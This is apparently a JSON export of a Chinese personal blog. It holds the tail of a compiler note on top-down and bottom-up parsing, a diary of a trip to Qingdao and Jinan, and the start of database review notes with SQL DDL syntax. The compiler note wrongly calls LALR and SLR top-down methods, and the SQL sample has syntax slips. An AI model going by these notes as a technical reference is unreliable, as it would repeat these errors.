title=\"自上而下语法分析\"\u003e\u003c/a\u003e自上而下语法分析\u003c/h4\u003e\u003cp\u003e简单的说,就是不断选取产生式,尝试从根节点推导出和当前串$w$匹配的串。\u003c/p\u003e\u003cp\u003e从语法树的根到叶去建立语法树。步骤是试探+回溯,边推导边匹配。对输入序列,使用产生式进行最左推导,直到得到一个合法句子\u0026#x2F;非法结构。随后从左到右扫描输入序列,自上而下建立语法树。\u003c/p\u003e\u003cp\u003e最大的问题是左递归,即非终结符同时出现在左部和右部左侧,会造成死循环。消除方法为引入新的非终结符进行同义转化。\u003cstrong\u003e直接消除左递归\u003c/strong\u003e的方法可以使用通用的算法进行解决。\u003c/p\u003e\u003cp\u003e另一个问题是消除文法二义性。直接的消除方法不适用于自上而下分析方法。\u003c/p\u003e\u003cp\u003e还有一个问题是公共前缀的提取。该行为能有效优化选择速度,提升性能和错误恢复能力。方法是引入新的非终结符来表示公共前缀的推导,再改写原来的产生式。\u003c/p\u003e\u003ch4 id=\"自下而上语法分析\"\u003e\u003ca href=\"#自下而上语法分析\" class=\"headerlink\" title=\"自下而上语法分析\"\u003e\u003c/a\u003e自下而上语法分析\u003c/h4\u003e\u003cp\u003e简而言之就是,从串$w$着手,不断在其中寻找能用产生式规约的部分,并不断地进行规约操作。\u003c/p\u003e\u003cp\u003e下面是GPT的介绍:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e自下而上语法分析(bottom-up parsing)是一种从输入的最底层符号开始,逐步构造出高层结构的语法分析方法。它的目标是通过合并输入符号和中间结果,最终构造出整个输入的语法树。LR分析器是自下而上语法分析的典型代表之一。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e我们用一个简单的例子来说明自下而上语法分析的过程。假设我们有以下的语法规则:\u003c/p\u003e\u003col\u003e\u003cli\u003eS → AB\u003c/li\u003e\u003cli\u003eA → a\u003c/li\u003e\u003cli\u003eB → b\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e这里,S、A、B 是非终结符,a、b 是终结符。我们的输入字符串是 “ab”。\u003c/p\u003e\u003cp\u003e我们从输入字符串的第一个符号开始,将每个符号视为一个单独的子树:\u003c/p\u003e\u003cp\u003e初始状态:输入字符串 “ab” 被表示为 [a, b]。\u003c/p\u003e\u003col\u003e\u003cli\u003e匹配并规约第一部分\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e我们检查字符串并尝试应用规则 A → a。\u003c/p\u003e\u003cul\u003e\u003cli\u003e输入字符串中第一个符号是 a,符合规则 A → a。\u003c/li\u003e\u003cli\u003e我们将 a 规约为 A。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e此时,输入状态变为 [A, b]。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e匹配并规约第二部分\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e接下来,我们检查字符串并尝试应用规则 B → b。\u003c/p\u003e\u003cul\u003e\u003cli\u003e输入字符串中第二个符号是 b,符合规则 B → b。\u003c/li\u003e\u003cli\u003e我们将 b 规约为 B。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e此时,输入状态变为 [A, B]。\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e匹配并规约整个字符串\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e现在,我们尝试应用规则 S → AB。\u003c/p\u003e\u003cul\u003e\u003cli\u003e当前输入状态是 [A, B],符合规则 S → AB。\u003c/li\u003e\u003cli\u003e我们将 [A, B] 规约为 S。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e此时,输入状态变为 [S]。\u003c/p\u003e\u003cp\u003e此时,输入字符串已被规约为 S,表示输入字符串 “ab” 是该语法的一个有效句子。\u003c/p\u003e\u003cp\u003e根据上述规约过程,我们可以构造出对应的语法树:\u003c/p\u003e\u003cfigure class=\"highlight css\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e S\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e / \\\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"selector-tag\"\u003eA\u003c/span\u003e \u003cspan class=\"selector-tag\"\u003eB\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e / \\\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"selector-tag\"\u003ea\u003c/span\u003e \u003cspan class=\"selector-tag\"\u003eb\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e有几种基于自上而下的识别方法,比如LALR和SLR。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2024/01/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/compiler-note/"},{"title":"青岛之行","time":"2024-01-18T05:53:51Z","content":"(*/ω\*)\u003chr /\u003e\u003ch2 id=\"第0天-西安市长安区\"\u003e\u003ca href=\"#第0天-西安市长安区\" class=\"headerlink\" title=\"第0天-西安市长安区\"\u003e\u003c/a\u003e第0天-西安市长安区\u003c/h2\u003e\u003cp\u003e这个考试月是真能破人的防,所以哥们考完试直接开润,好好抚慰以一下难绷的心智。跟哥们合计了一下,寻思着\u003cdel\u003e去码头整点薯条\u003c/del\u003e然后就有了去青岛溜达一圈的打算。\u003c/p\u003e\u003cp\u003e现在是1.18,早上随便叼个面包,拉着箱子就走了。今天早上西安的雾气挺大的,走的时候大概9点,门口不少拉箱子回家的大学生,看了一眼感觉不少大三老东西,还有一些大一大二一看就没在校门口坐过公交的。\u003c/p\u003e\u003cp\u003e时间过得真快啊,还没多久就只剩一年半了。\u003c/p\u003e\u003cp\u003e抛开有的没的,到站下车转地铁,6倒2到北站等火车。以及再次,西安北站真tm大。\u003c/p\u003e\u003cp\u003e顺利和彦汇合上,俩人就坐下来开始侃大山,路上风景倒是不错。刚开始计划的路线里边是经过郑州的,不过后来换了D1672然后就不走那边了,现在的路线是西安-\u0026gt;太原-\u0026gt;石家庄-\u0026gt;德州-\u0026gt;济南-\u0026gt;青岛。全程从11点到晚上9点,车程比较长。\u003c/p\u003e\u003cp\u003e在动车上跟哥们干了各种事消磨时间:看时间,聊二次元等等等等,\u003cdel\u003e听得我都想入坑ba了\u003c/del\u003e。\u003c/p\u003e\u003cp\u003e下了车之后直接进了地铁站,七拐八拐到了酒店。这边地铁修的比较新,所以装潢还挺新的。\u003c/p\u003e\u003cp\u003e出了站之后走了点路就到了酒店。俩人一进酒店就开始开香槟,30块一晚上是这住宿条件:\u003c/p\u003e\u003cp\u003e更香槟开爆的一集:30多跟哥们恰烧烤外卖恰到撑。老陕震撼.jpg,这边伙食是真不戳。\u003c/p\u003e\u003cp\u003e就是晚上1点多给另一个哥们写代码到早上3点有点难绷\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e彦:熬夜别似我旁边\u003cbr\u003e我:无所谓我收入高\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"第1天-青岛海军博物馆-amp-杂七杂八\"\u003e\u003ca href=\"#第1天-青岛海军博物馆-amp-杂七杂八\" class=\"headerlink\" title=\"第1天-青岛海军博物馆\u0026amp;杂七杂八\"\u003e\u003c/a\u003e第1天-青岛海军博物馆\u0026amp;杂七杂八\u003c/h2\u003e\u003cp\u003e第二天\u003cdel\u003e起了个大早\u003c/del\u003e九点准时起床,身体好像已经习惯六小时睡眠了。简单收拾之后就准备出发去看看船了。放6年前彦估计更兴奋,毕竟他玩碧蓝航线。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e哎,泛二刺螈。哦,他现在玩Blue Archive。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e笑死,早起根本没用。俩人还是差点迟了。最骚的操作是我们发现时间可能赶不上然后俩啥必退票准备换时间,然后发现别的时间都满了。\u003c/p\u003e\u003cp\u003etmd吓个半死,赶紧给重新定回那个时间。俩人跟俩萝卜一样,一人一个坑给剩下俩位置占满了。\u003c/p\u003e\u003cp\u003e不管时间是不是来不及,俩人开始往过疯狂冲刺。趁着上车的间隙,算了一下时间,刚好剩了3分钟,所幸最后没迟到。\u003c/p\u003e\u003cp\u003e路上路过一片小区,人建筑风格特别欧式,一度以为是殖民地残留,被哥们吐槽了。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e彦:你这得让青岛人笑话死\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e赶时间所以没想到啥吐槽。穿过博物馆大厅,从扶梯下去,就是海边了。大厅后边就是黄海的海岸线了,码头停了不少待参观的船,潜艇,还有\u003cdel\u003e来码头整点薯条的\u003c/del\u003e海鸥,不过这会的我显然还没有意识到青岛的海风自带湿冷的魔法攻击。\u003c/p\u003e\u003cp\u003e没顾得上拍照,赶紧跟着哥们跑去核潜艇参观区域。俩人兴冲冲跟着引导员走到潜艇入口,准备从入口进去。不过刚进去入口的时候我就觉得不对劲了:被狠狠磕了一下脑袋。然后我才注意到,这潜艇里边的环境是真tm狭小。里边是不允许拍照的,所以这部分没有图图。很震撼,有种纯粹工业风的美感,而且还能看到生产日期跟自己爸妈一个年龄的各种粗扩庞大\u003cdel\u003e不知道能干啥\u003c/del\u003e不可名状的巨大机械\u0026#x2F;管道,元素相当丰富。整体而言,环境相当压抑。居住区空间极小,而且是两层乃至三层的卧铺,躺床上只能看到压抑的上铺床板。更离谱的是,各个区域之间的连通通道不是门结构,而是环状圆盘盖子结构。想了半天,原因可能是为了进一步保证气密\u0026#x2F;作为一种空间隔断手段而使用,以至于人过去是要钻过去的——我自己身高1米8多,已经不是脑袋磕的疼不疼的问题了,那是我弯腰过去会被卡在门上的问题。不过也能理解,毕竟从外边看体积本来就小,里边的空间更是寸土寸金。另外还看到唯一一个很大的房子,俺猜测应该是船长\u0026#x2F;政委的?另外就是这个核动力潜艇很明显属于那种过于落后可以展示的那种,现在的潜艇长啥样子我根本不敢想象。以及这玩意的制造时间也跟我印象里边那会还在为造拖拉机发愁的轻工业为主的年代严重不符——现在回望那会的前辈,相当厉害。快60年前的东西,都能带给我如此巨大的震撼。这种旧时代的堪称疯狂的造物是我非常喜爱的,因为这背后是一个集体倾尽全力所能创造的工程学奇迹。其他宏伟的古早人工造物,比如早些时代的防空洞,那些旧时代的大型工厂,都是我的偏爱。\u003c/p\u003e\u003cp\u003e就是里边一些现代化电子设备比较出戏。我甚至还看到一个生产日期挺新的电风扇。\u003c/p\u003e\u003cp\u003e另外一点我想展开说的就是,重工业风。生活中很难见到特别粗的管道,这边有,而且尺寸范围相当大。但是你放工厂我会欣赏,放正常过道两边甚至头顶,盖得你看不到一个平整的仓壁,那就是幽闭恐惧症级别的地狱绘图了。墙上和地上,不是覆盖着,那几乎是管道和数量巨大的阀门、仪表拼接而成,被挤压的只剩下常人几乎不可能迅速通过的极度不规则的逼仄空间。另外我找了半天愣是没找到一个窗户,在这种暗无天日的地方关上不知道多久,一般人在这种地方肯定会疯。而且,潜艇的战略地位,也昭示着潜艇兵的命运:不存在侥幸,深海出故障的情况下,只有死亡这一既定而缓慢但恒定到来的命运。现代核潜艇更是战略级别的威慑,他们所面对的任何一种情况都是极度恐怖的。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e彦:这地方你待上没几天就幽闭恐惧症了\u003cbr\u003e我:难怪人补贴空军之下第一档呢,这我是真服\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e最逆天的地方来了。俩人参观完核动力部分,在看主电机的时候,里边照明电路突然断电了。以潜艇的封闭程度,一瞬间里边就陷入一片死黑。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e我:啊?\u003cbr\u003e彦:啊??\u003cbr\u003e我:啊???\u003cbr\u003e彦:啊????\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e所幸,大概十几秒后供电又恢复力。不过这一段时间对我来说长如极夜。那一刻俩啥必都以为自己要被关里头了,怂的跟受惊的兔子似的。应该是拉闸老大爷听到我俩动静了,又上电问里边有人没。俩人赶紧从出口窜出去了。\u003c/p\u003e\u003cp\u003e最哈人的一集。\u003c/p\u003e\u003cp\u003e出去之后俩人缓了会,然后上旁边开始今天的观景了。\u003c/p\u003e\u003cp\u003e首先是济南舰,最后是长江舰。中间回去休息了一下,看到底下一架遮住的飞机,还惊喜了半天。彦不屑一顾,我诧异半天才想起来人是瓜,啊不,三航爷。\u003c/p\u003e\u003cp\u003e下午拍了一组片子,顺便跟他玩了玩胶片机之后,俩人就出来去信号山旁边一个小地方恰了饭。28一份的土豆牛肉盖饭,好贵……不过胜在离景点近。可惜的是那会德国监狱旧址已经关门了,俩人就去爬旁边信号山了。有一说一,上边视野不错,也出了不少很满意的片。\u003c/p\u003e\u003cp\u003e最给力的是这俩老鸽:\u003c/p\u003e\u003cp\u003e亮灯之后拍了不少,遗憾的是树杈子太挡视野了,不太好出片。以及某人痛定思痛决定回头整个脚架。不过那边有不少望远镜,挺稳的,就是要扫码才能用。所以俩人直接用这玩意当脚架平替了。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e彦:纯,太纯了(陶醉\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e之后俩人坐地铁打算去那家甜甜烧烤,可惜让百度地图坑了一回,从台北街道绕了一圈到人旧址了。找到之后发现人就在起点附近。更离谱的是进去只有一个空座,上二楼发现没位置结果下来一楼也满了。红温了.jpg\u003c/p\u003e\u003cp\u003e没办法,刚好也晚了,在旁边步行街吃了点小吃,坐地铁回宾馆旁边那家烧烤。线上挺好吃的,线下也可以,不过人店面似乎主营是外卖。但是实惠和味道上没让我失望,啤酒上没让我哥们失望。\u003c/p\u003e\u003cp\u003e干完饭,回酒店睡觉。替哥们负重前行了一天,倒头就睡。\u003c/p\u003e\u003ch2 id=\"第2天-麦岛,栈桥,海鸥和薯条,以及代码\"\u003e\u003ca href=\"#第2天-麦岛,栈桥,海鸥和薯条,以及代码\" class=\"headerlink\" title=\"第2天-麦岛,栈桥,海鸥和薯条,以及代码\"\u003e\u003c/a\u003e第2天-麦岛,栈桥,海鸥和薯条,以及代码\u003c/h2\u003e\u003cp\u003e早上看天气预报,这边要下雪,感觉今天天气可能会有点糟……不过好在出去之后倒是没雪。这边天气这几天是冷锋过境,属于是变天如变脸的程度。\u003c/p\u003e\u003cp\u003e这一天睡到了自然醒。\u003cdel\u003e早上\u003c/del\u003e中午步行麦岛,被海风吹傻了。不过出片很多。早上一早上在宾馆写代码……至于为啥,合作项目快到ddl了。不过好在早上没出去,风大的虾仁。午饭是张亮麻辣烫和古茗,味道确实可以就是挺贵。\u003c/p\u003e\u003cp\u003e2点到麦岛,吹海风到3,4点。打车去栈桥\u003cdel\u003e捉\u003c/del\u003e喂了半天海鸥,哥们的Z50直接ISO爆炸了。6点左右俩人走着上了栈桥溜了个来回,海中间的亭子,别有景致。\u003c/p\u003e\u003cp\u003e步行到教堂,哥特式建筑美感别具一格,感觉薄纱半道的安妮小屋。另,青岛的地名好像真是按照全国省份起名的。\u003c/p\u003e\u003cp\u003e拐下去,在K和M的中门对决中选了M。\u003c/p\u003e\u003cp\u003e然后是1号线,体验了一把6分钟跨海,可惜啥都看不到,就是噪音特大。\u003c/p\u003e\u003cp\u003e看了中石油大学。石油的爷才是爷!\u003c/p\u003e\u003cp\u003e然后1号线回台东,路上为了我和另一个哥们的ddl疯狂写代码。居然在手机上搞定了。他也从他导师的侧目微笑里边解脱了。这期间哥们\u003cdel\u003e遛\u003c/del\u003e牵着我逛了这边一个步行街,规模意外的不太大。尝了下青岛啤酒原浆,苦的,喝不懂。给哥们解决了。\u003c/p\u003e\u003cp\u003e俩人开始乱逛,跑奥体对面五四广场乱逛听涛。\u003c/p\u003e\u003cp\u003e打车回宾馆了。洗漱+计划了下行程:济南\u0026#x2F;淄博,启动!\u003c/p\u003e\u003cp\u003e算了先别启动了,睡觉了。\u003c/p\u003e\u003ch2 id=\"第3天-海鸽子鸥,栈桥,小鱼山,德国领事馆旧址,以及夕阳\"\u003e\u003ca href=\"#第3天-海鸽子鸥,栈桥,小鱼山,德国领事馆旧址,以及夕阳\" class=\"headerlink\" title=\"第3天-海鸽子鸥,栈桥,小鱼山,德国领事馆旧址,以及夕阳\"\u003e\u003c/a\u003e第3天-海\u003cdel\u003e鸽子\u003c/del\u003e鸥,栈桥,小鱼山,德国领事馆旧址,以及夕阳\u003c/h2\u003e\u003cp\u003e这回来青岛最大的成就,就是薅到了\u003cdel\u003e海鸽子\u003c/del\u003e海鸥。昨天\u003c/p\u003e\u003ch2 id=\"第4天-青岛:最澄澈的空与海·太美丽了淄博\"\u003e\u003ca href=\"#第4天-青岛:最澄澈的空与海·太美丽了淄博\" class=\"headerlink\" title=\"第4天-青岛:最澄澈的空与海·太美丽了淄博\"\u003e\u003c/a\u003e第4天-青岛:最澄澈的空与海·太美丽了淄博\u003c/h2\u003e\u003ch2 id=\"第5天-济南-老舍你最好没骗我\"\u003e\u003ca href=\"#第5天-济南-老舍你最好没骗我\" class=\"headerlink\" title=\"第5天-济南-老舍你最好没骗我\"\u003e\u003c/a\u003e第5天-济南-老舍你最好没骗我\u003c/h2\u003e\u003cp\u003emd,跟老舍爆了,俩人冻的要似。\u003c/p\u003e\u003cp\u003e早上9点坐高铁到济南。10点多坐地铁到了宾馆。彦已经困的不行了,遂让他睡了一觉。这酒店条件确实不错,还有厨房。\u003c/p\u003e\u003cp\u003e另外就是济南这边地铁起码是从19年开始修的,这地方东边倒是还行,西边地铁修建难度简直地狱。地下各种复杂的地下水源,断层等等,能有地铁已经很不错了。能看得出来,济南地铁修的很新,而且也符合济南这边的特色:空间辽阔。\u003c/p\u003e\u003cp\u003e中午出发,先去旁边商超里边吃了一顿午饭。好久没吃米饭,俩人就恰了家石锅拌饭。\u003c/p\u003e\u003cp\u003e完事之后,我提出想去浪潮集团总部看看打个卡。毕竟在你电浪潮社也待了三年了,不太远(感觉比国医到你电西门的距离近一些),俩人就走过去了。\u003c/p\u003e\u003cp\u003e另外就是济南地铁\u003c/p\u003e\u003ch2 id=\"第6天-返航-最背刺的一集\"\u003e\u003ca href=\"#第6天-返航-最背刺的一集\" class=\"headerlink\" title=\"第6天-返航-最背刺的一集\"\u003e\u003c/a\u003e第6天-返航-最背刺的一集\u003c/h2\u003e\u003cp\u003e早上早早起来,洗漱了下,俩人出门进地铁站。济南这边地铁修的相当新,虽然条形地铁线路比较难换乘,但是有地铁这一点已经薄纱某些地方了,而且还是直达济南东站的。赢!\u003c/p\u003e\u003cp\u003e最难绷的一集:俩人买票那会发现难买,进站发现人一大群小学生搁那去西安旅游……算是彻底被背刺了。\u003c/p\u003e\u003cp\u003e路上太原开始这段雪景很绝。白色的斑驳成片覆盖在黄色的平原上,在纯蓝天的映射下格外让人有食欲。\u003c/p\u003e\u003cp\u003e遂恰饭点了一顿15元高铁套餐。评价是感觉不如…海棠一楼食堂,但是好tm贵QAQ。\u003c/p\u003e\u003cp\u003e彦这作息跟那啥考拉一样(哎对\u003cdel\u003e配色\u003c/del\u003e穿搭也差不多)又开始睡了。\u003c/p\u003e\u003cp\u003e路上边看地图边看风景……注意到前边过黄河了,俩人扒窗边看了会,发现了最符合天气的一集:黄河整个冻住了。不过就算是冻住了风光也很不错。\u003c/p\u003e\u003cp\u003e另外就是山西太原附近了,风光很有意思,很多谷地,覆上雪景后别有风味。\u003c/p\u003e\u003cp\u003e路上还路过了香汾,小站没太在意。感知最明显的就是天空从山东沿海地区的澄澈逐渐过渡到熟悉的灰蒙蒙的天空——当然风也小了许多。\u003c/p\u003e\u003cp\u003e西安站倒是下去溜达了一圈,气候温和多了。就是听到一点疑似关门的动静后赶紧钻回去车里边了。车门旁边倒是还有人趁着到站抽烟的,人家就比我淡定多了。\u003c/p\u003e\u003cp\u003e之后不久就到站了。温度比沿海地区温和了很多,饱受折磨的俩人一下子放松下来:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e彦:这温度谁拉拉链啊\u003cbr\u003e:笑死,根本不冷\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e不过最后某人还是把拉链拉上了。\u003c/p\u003e\u003cp\u003e俩人混的不错,摇到一个同学开车给我俩接回去了。回去之前几个人一块来搓了一顿\u003cdel\u003emai\u003c/del\u003e麦,已经是穷鬼的我必然是点了一份穷鬼套餐,顺便聊了不少时政\u003cdel\u003e不是怎么每回的保留环节都是政治乐子啊\u003c/del\u003e。另外,宝鸡夜色某种意义上比大明湖强。\u003c/p\u003e\u003chr\u003e\u003cp\u003e坐着同学的车到了家门口,提下箱子,关门,隔着车门和彦挥了挥手\u003c/p\u003e\u003cp\u003e转身,离去。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2024/01/18/%E6%96%87%E5%AD%A6/%E6%B8%B8%E8%AE%B0/trip-to-tsingdao/"},{"title":"数据库复习笔记","time":"2024-01-15T11:17:19Z","content":"(*/ω\*)\u003chr /\u003e\u003cp\u003e这学期学的数据库主要偏向应用,理论部分相对比较少,重点如下:\u003c/p\u003e\u003ch2 id=\"数据库系统概论-大纲\"\u003e\u003ca href=\"#数据库系统概论-大纲\" class=\"headerlink\" title=\"数据库系统概论 大纲\"\u003e\u003c/a\u003e数据库系统概论 大纲\u003c/h2\u003e\u003cul\u003e\u003cli\u003e绪论\u003cul\u003e\u003cli\u003e特点,概念,发展\u003c/li\u003e\u003cli\u003e数据模型:层次,网状,关系\u003c/li\u003e\u003cli\u003e结构:三级模式,二级映像\u003c/li\u003e\u003cli\u003e组成\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e关系数据库\u003cul\u003e\u003cli\u003e关系数据结构\u003c/li\u003e\u003cli\u003e关系操作!\u003c/li\u003e\u003cli\u003e关系完整性:实体完整性,参照完整性,用户定义的完整性\u003c/li\u003e\u003cli\u003e关系代数!\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eSQL\u003cul\u003e\u003cli\u003e定义{模式,表,索引,数据字典} \u003c/li\u003e\u003cli\u003e查询:单表,连接,嵌套,集合,派生表\u003c/li\u003e\u003cli\u003e更新:插入,修改,删除\u003c/li\u003e\u003cli\u003e空值,试图\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e安全性\u003cul\u003e\u003cli\u003e安全性控制:用户身份控制,存取控制,自主存取控制,授权\u0026#x2F;收回,抢注存取控制方法\u003c/li\u003e\u003cli\u003e视图 - 审计 - 数据加密\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据库完整性\u003cul\u003e\u003cli\u003e实体完整性,参照完整性,用户定义的完整性\u003c/li\u003e\u003cli\u003e完整性约束命名子句\u003c/li\u003e\u003cli\u003e断言\u003c/li\u003e\u003cli\u003e触发器\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e关系数据理论\u003cul\u003e\u003cli\u003e规范化\u003cul\u003e\u003cli\u003e函数依赖 - 码 - 范式 - 2NF - 3NF - BCNF - 多值依赖和4NF\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据依赖的公理系统 - 模式分解\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据库设计\u003cul\u003e\u003cli\u003e数据字典\u003c/li\u003e\u003cli\u003e概念模型\u003c/li\u003e\u003cli\u003eE-R模型及其扩充\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据库编程\u003cul\u003e\u003cli\u003e嵌入式SQL:处理过程,通信(游标,动态SQL)\u003c/li\u003e\u003cli\u003e过程化SQL\u003c/li\u003e\u003cli\u003e存储过程和函数\u003c/li\u003e\u003cli\u003eODBC编程\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e关系查询处理和查询优化\u003cul\u003e\u003cli\u003e查询处理步骤,优化\u003c/li\u003e\u003cli\u003e代数优化,物理优化\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据库恢复技术\u003cul\u003e\u003cli\u003e事务概念和特点 - 恢复概述 - 故障种类,恢复技术和策略\u003c/li\u003e\u003cli\u003e并发控制\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e整理的不是特别全乎,不过也涵盖不少了。往年大题就那几道,题型相对固定,针对性做题,做会题就算复习完了。\u003c/p\u003e\u003cp\u003e上面的知识点里边特别重要的就那几个:\u003cstrong\u003e关系代数,关系完整性,SQL,关系数据理论和事务与并发,查询优化\u003c/strong\u003e这几个。其他零碎的小知识点有印象就行了。\u003c/p\u003e\u003cp\u003e复习方法一是做题,最好是看答案;二是看例子,例题,然后递归复习知识点,效率最高。三是下策,先看知识点,再做题,适合开始复习比较早,时间充裕的情况,也是最充分的复习,但是问题是容易动力不足。\u003c/p\u003e\u003ch2 id=\"SQL\"\u003e\u003ca href=\"#SQL\" class=\"headerlink\" title=\"SQL\"\u003e\u003c/a\u003eSQL\u003c/h2\u003e\u003ch3 id=\"CREATE-DROP-ALTER\"\u003e\u003ca href=\"#CREATE-DROP-ALTER\" class=\"headerlink\" title=\"CREATE,DROP,ALTER\"\u003e\u003c/a\u003eCREATE,DROP,ALTER\u003c/h3\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eCREATE\u003c/span\u003e SCHEMA \u003cspan class=\"operator\"\u003e\u0026lt;\u003c/span\u003e\u0026quot;name\u0026quot;\u003cspan class=\"operator\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"keyword\"\u003eAUTHORIZATION\u003c/span\u003e \u0026quot;username\u0026quot;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eDROP\u003c/span\u003e SCHEMA \u0026quot;name\u0026quot; [CASCADE\u003cspan class=\"operator\"\u003e/\u003c/span\u003eRESTRICT];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eCREATE\u003c/span\u003e \u003cspan class=\"keyword\"\u003eTABLE\u003c/span\u003e \u0026quot;name\u0026quot;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#123; Col1 \u003cspan class=\"type\"\u003eVARCHAR\u003c/span\u003e(\u003cspan class=\"number\"\u003e10\u003c/span\u003e) \u003cspan class=\"keyword\"\u003ePRIMARY\u003c/span\u003e KEY,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Col2 NUMBER(\u003cspan class=\"number\"\u003e10\u003c/span\u003e) \u003cspan class=\"keyword\"\u003eNOT\u003c/span\u003e \u003cspan class=\"keyword\"\u003eNULL\u003c/span\u003e \u003cspan class=\"keyword\"\u003eUNIQUE\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Col3 \u003cspan class=\"type\"\u003eINT\u003c/span\u003e \u003cspan class=\"keyword\"\u003eFOREIGN\u003c/span\u003e KEY(Sno) \u003cspan class=\"keyword\"\u003eREFERENCES\u003c/span\u003e TABLE2(Sno),\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan 